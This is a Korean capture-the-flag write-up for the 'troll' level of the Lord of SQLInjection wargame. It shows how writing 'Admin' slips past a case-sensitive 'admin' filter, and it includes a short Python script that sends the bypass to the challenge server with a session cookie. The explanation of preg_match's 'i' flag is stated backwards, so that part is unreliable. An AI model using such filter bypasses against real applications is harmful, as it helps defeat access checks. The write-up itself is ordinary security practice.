LOS-write up

LOS 8(troll)

우제혁 2021. 1. 3. 03:07

문제

문제 분석

id에 "admin" , "'"(싱글쿼터)를 피해 id에 값이 admin으로 들어있으면 문제가 풀린다.

 

이때 admin이 필터링 되어있어 이를 우회하는게 핵심이다.  

 

문제 풀이

preg_match 함수를 보면 preg_match("/admin/"$_GET[id]) 이렇게 되어있는데 "/admin/i" 이처럼 i가 없으면 대소문자를 구분하지 않기때문에 대문자를 사용해서 admin을 Admin 으로 바꿔주면 된다

SQL쿼리는 대소문자를 구별하지 않는다

 

문제 정답

URL?id=Admin

 

 

문제 풀이 코드

import requests

url = 'https://los.rubiya.kr/chall/troll_05b5eb65d94daf81c42dd44136cb0063.php'
session = {'PHPSESSID' : 'cdbquk3ihvfimiirqf0fdagc39'}  #로그인 쿠키

data={}

#싱글쿼터 우회 아님

data['id']="Admin" # 대소문자 구분 못함. pregmatch 뒤에 i 있으면 구분 없으면 구분 안해줌
res = requests.get(url, params=data, cookies=session)

print(res.url)

if "Clear!" in res.text:
    print("\nClear!")
else:
    print("try again!")

코드 결과